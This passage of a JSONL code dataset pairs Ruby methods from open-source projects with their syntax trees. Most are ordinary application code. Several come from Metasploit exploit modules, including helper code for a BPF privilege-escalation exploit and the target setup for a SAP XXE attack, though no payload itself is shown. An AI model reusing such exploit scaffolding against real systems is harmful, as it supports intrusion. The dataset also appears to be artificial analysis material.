end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create_user_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]},{\"type\":\"kwoptarg\",\"children\":[\"with\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content_text\"]},{\"type\":\"lvasgn\",\"children\":[\"attachments\"]},{\"type\":\"lvasgn\",\"children\":[\"content_raw\"]}]},{\"type\":\"send\",\"children\":[null,\"prepare_content_for_storage\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message_record\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"messages_association\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_record\"]},\"content=\",{\"type\":\"lvar\",\"children\":[\"content_text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_record\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"content_raw=\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_record\"]},\"content_raw=\",{\"type\":\"lvar\",\"children\":[\"content_raw\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_record\"]},\"save!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"persist_content\",{\"type\":\"lvar\",\"children\":[\"message_record\"]},{\"type\":\"lvar\",\"children\":[\"with\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachments\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"persist_content\",{\"type\":\"lvar\",\"children\":[\"message_record\"]},{\"type\":\"lvar\",\"children\":[\"attachments\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"message_record\"]}]}]}","id":"7d84781b-f73f-4f43-ba88-794ab85f6441"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/lib/gitlab/orchestrator/commands/subcommands/instance.rb","start_line":115,"raw_source":"def symbolized_options\n            @symbolized_options ||= super.tap do |opts|\n              next unless opts[:gitlab_domain].nil?\n\n              opts.merge!({ gitlab_domain: \"localhost\" })\n            end\n          end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"symbolized_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@symbolized_options\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"gitlab_domain\"]}]},\"nil?\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitlab_domain\"]},{\"type\":\"str\",\"children\":[\"localhost\"]}]}]}]}]}]}]}]}","id":"9db857dc-4530-46d2-aeaa-951dcdf9f67c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/enum.rb","start_line":174,"raw_source":"def initialize(name, mapping, subtype, raise_on_invalid_values: true)\n        @name = name\n        @mapping = mapping\n        @subtype = subtype\n        @_raise_on_invalid_values = raise_on_invalid_values\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"mapping\"]},{\"type\":\"arg\",\"children\":[\"subtype\"]},{\"type\":\"kwoptarg\",\"children\":[\"raise_on_invalid_values\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mapping\",{\"type\":\"lvar\",\"children\":[\"mapping\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@subtype\",{\"type\":\"lvar\",\"children\":[\"subtype\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@_raise_on_invalid_values\",{\"type\":\"lvar\",\"children\":[\"raise_on_invalid_values\"]}]}]}]}","id":"6136e502-6e03-46f4-8832-31786d7344d0"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/app_analytics.rb","start_line":112,"raw_source":"def app_sales_interval(start_t, end_t, view_by = nil)\n        client.time_series_analytics([apple_id], ['sales'], start_t, end_t, \"DAY\", view_by)\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"app_sales_interval\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start_t\"]},{\"type\":\"arg\",\"children\":[\"end_t\"]},{\"type\":\"optarg\",\"children\":[\"view_by\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"time_series_analytics\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apple_id\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sales\"]}]},{\"type\":\"lvar\",\"children\":[\"start_t\"]},{\"type\":\"lvar\",\"children\":[\"end_t\"]},{\"type\":\"str\",\"children\":[\"DAY\"]},{\"type\":\"lvar\",\"children\":[\"view_by\"]}]}]}","id":"6836ccd5-d8a4-4c32-8a80-7bf03144f420"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20210306164523_account_ids_to_timestamp_ids.rb","start_line":4,"raw_source":"def up\n    # Set up the accounts.id column to use our timestamp-based IDs.\n    safety_assured do\n      execute(\"ALTER TABLE accounts ALTER COLUMN id SET DEFAULT timestamp_id('accounts')\")\n    end\n\n    # Make sure we have a sequence to use.\n    Mastodon::Snowflake.ensure_id_sequences_exist\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER TABLE accounts ALTER COLUMN id SET DEFAULT timestamp_id('accounts')\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mastodon\"]},\"Snowflake\"]},\"ensure_id_sequences_exist\"]}]}]}","id":"3f9fbbc8-0811-477c-9fb7-87e84a743216"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/test_data/inbox_creator.rb","start_line":2,"raw_source":"def self.create_for(account)\n    Array.new(TestData::Constants::INBOXES_PER_ACCOUNT) do\n      channel = Channel::Api.create!(account: account)\n      Inbox.create!(\n        account_id: account.id,\n        name: \"API Inbox #{SecureRandom.hex(4)}\",\n        channel: channel\n      )\n    end\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestData\"]},\"Constants\"]},\"INBOXES_PER_ACCOUNT\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Channel\"]},\"Api\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"lvar\",\"children\":[\"account\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Inbox\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"API Inbox \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]}]}]}]}]}]}]}","id":"2d865ff9-fe30-435b-9635-c4a93d4721e7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/bpf_priv_esc.rb","start_line":117,"raw_source":"def live_compile?\n    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')\n\n    return true if has_prereqs?\n\n    unless datastore['COMPILE'].eql? 'Auto'\n      fail_with Failure::BadConfig, 'Prerequisites are not installed. Compiling will fail.'\n    end\n  end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"live_compile?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COMPILE\"]}]},\"eql?\",{\"type\":\"str\",\"children\":[\"Auto\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COMPILE\"]}]},\"eql?\",{\"type\":\"str\",\"children\":[\"True\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_prereqs?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COMPILE\"]}]},\"eql?\",{\"type\":\"str\",\"children\":[\"Auto\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Prerequisites are not installed. Compiling will fail.\"]}]}]}]}]}","id":"48497b89-ef6a-4659-a445-373f42730a20"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/test/subscription_adapter/redis_test.rb","start_line":56,"raw_source":"def wait_pubsub_connection(redis_conn, channel, timeout: 5)\n      wait = timeout\n      loop do\n        break if redis_conn.pubsub(\"numsub\", channel).last > 0\n\n        sleep 0.1\n        wait -= 0.1\n\n        raise \"Timed out to subscribe to #{channel}\" if wait <= 0\n      end\n    end","complexity_score":16.65,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_pubsub_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis_conn\"]},{\"type\":\"arg\",\"children\":[\"channel\"]},{\"type\":\"kwoptarg\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wait\",{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis_conn\"]},\"pubsub\",{\"type\":\"str\",\"children\":[\"numsub\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]}]},\"last\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.1]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wait\"]},\"-\",{\"type\":\"float\",\"children\":[0.1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Timed out to subscribe to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]}]}]}]},null]}]}]}]}]}","id":"fd59090a-9ecb-4de7-b50b-8f162f68ac81"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/event.rb","start_line":480,"raw_source":"def permission_object\n    if self[:target_id].present?\n      target\n    else\n      project\n    end\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"permission_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_id\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"target\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"f31ed7ee-e532-47b3-9737-bd74e810c396"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/imports/watcher.rb","start_line":38,"raw_source":"def create_import(user, directory_path, file_name)\n    file_path = File.join(directory_path, file_name)\n    import = Import.find_or_initialize_by(user:, name: file_name)\n\n    return if import.persisted?\n\n    import.source = source(file_name)\n    import.file.attach(\n      io: File.open(file_path),\n      filename: file_name,\n      content_type: mime_type(import.source)\n    )\n\n    import.save!\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_import\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"directory_path\"]},{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"directory_path\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"import\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"persisted?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"source=\",{\"type\":\"send\",\"children\":[null,\"source\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"file\"]},\"attach\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"io\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"send\",\"children\":[null,\"mime_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"source\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"save!\"]}]}]}","id":"841a86a5-0b58-4661-ae16-79c19f3c0ec5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/api/errors_v2_api.rb","start_line":95,"raw_source":"def list_errors_v2(project, group_id, opts = {})\n      data, _status_code, _headers = list_errors_v2_with_http_info(project, group_id, opts)\n      data\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"list_errors_v2\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"group_id\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\"]},{\"type\":\"lvasgn\",\"children\":[\"_status_code\"]},{\"type\":\"lvasgn\",\"children\":[\"_headers\"]}]},{\"type\":\"send\",\"children\":[null,\"list_errors_v2_with_http_info\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"group_id\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"748676b0-63d3-4169-950e-583b3112d176"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/web.rb","start_line":138,"raw_source":"def increment_request_counter\n      parent.increment_request_counter\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_request_counter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"increment_request_counter\"]}]}","id":"d2cfdb00-e2ea-418d-b841-4450b92fff80"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notes/create_service.rb","start_line":167,"raw_source":"def invalid_reviewers?(update_params)\n      if update_params.key?(:reviewer_ids)\n        possible_reviewers = update_params[:reviewer_ids]&.uniq&.size\n\n        possible_reviewers > ::Issuable::MAX_NUMBER_OF_ASSIGNEES_OR_REVIEWERS\n      else\n        false\n      end\n    end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"invalid_reviewers?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"update_params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"reviewer_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"possible_reviewers\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"reviewer_ids\"]}]},\"uniq\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"possible_reviewers\"]},\">\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Issuable\"]},\"MAX_NUMBER_OF_ASSIGNEES_OR_REVIEWERS\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"03240f73-187e-422a-8d28-55658283b06d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/generators/build_command_generator.rb","start_line":184,"raw_source":"def result_bundle_path\n        unless Gym.cache[:result_bundle_path]\n          path = Gym.config[:result_bundle_path]\n          path ||= File.join(Gym.config[:output_directory], Gym.config[:output_name] + \".xcresult\")\n          if File.directory?(path)\n            FileUtils.remove_dir(path)\n          end\n          Gym.cache[:result_bundle_path] = path\n        end\n        return Gym.cache[:result_bundle_path]\n      end","complexity_score":25.5,"ast_json":"{\"type\":\"def\",\"children\":[\"result_bundle_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"cache\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"result_bundle_path\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"result_bundle_path\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"output_directory\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"output_name\"]}]},\"+\",{\"type\":\"str\",\"children\":[\".xcresult\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"directory?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"remove_dir\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"cache\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"result_bundle_path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"cache\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"result_bundle_path\"]}]}]}]}]}","id":"b2bdc351-f9ec-4abf-9537-f4a2319c4289"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.rb","start_line":61,"raw_source":"def setup_xml_and_variables\n    @host = datastore['RHOSTS']\n    @port = datastore['RPORT']\n    @path = datastore['URIPATH']\n    @file = datastore['FILE']\n    if datastore['SSL']\n      @schema = 'https://'\n    else\n      @schema = 'http://'\n    end\n    @data_xml = {\n      name: Rex::Text.rand_text_alphanumeric(12),\n      filename: \"#{Rex::Text.rand_text_alphanumeric(12)}.xml\",\n      data: nil\n    }\n    @data_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>\n    <ChartData>\n      <Categories>\n        <Category>ALttP</Category>\n      </Categories>\n      <Series label=\"#{Rex::Text.rand_text_alphanumeric(6)}\">\n        <Point>\n          <Value type=\"y\">#{Rex::Text.rand_text_numeric(4)}</Value>\n        </Point>\n      </Series>\n    </ChartData>)\n    @xxe_xml = {\n      name: Rex::Text.rand_text_alphanumeric(12),\n      filename: \"#{Rex::Text.rand_text_alphanumeric(12)}.xml\",\n      data: nil\n    }\n  end","complexity_score":29.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_xml_and_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOSTS\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@port\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIPATH\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSL\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@schema\",{\"type\":\"str\",\"children\":[\"https://\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@schema\",{\"type\":\"str\",\"children\":[\"http://\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@data_xml\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[12]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[12]}]}]},{\"type\":\"str\",\"children\":[\".xml\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data_xml\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?xml version='1.0' encoding='UTF-8'?>\\n\"]},{\"type\":\"str\",\"children\":[\"    <ChartData>\\n\"]},{\"type\":\"str\",\"children\":[\"      <Categories>\\n\"]},{\"type\":\"str\",\"children\":[\"        <Category>ALttP</Category>\\n\"]},{\"type\":\"str\",\"children\":[\"      </Categories>\\n\"]},{\"type\":\"str\",\"children\":[\"      <Series label=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"str\",\"children\":[\"\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"        <Point>\\n\"]},{\"type\":\"str\",\"children\":[\"          <Value type=\\\"y\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"str\",\"children\":[\"</Value>\\n\"]},{\"type\":\"str\",\"children\":[\"        </Point>\\n\"]},{\"type\":\"str\",\"children\":[\"      </Series>\\n\"]},{\"type\":\"str\",\"children\":[\"    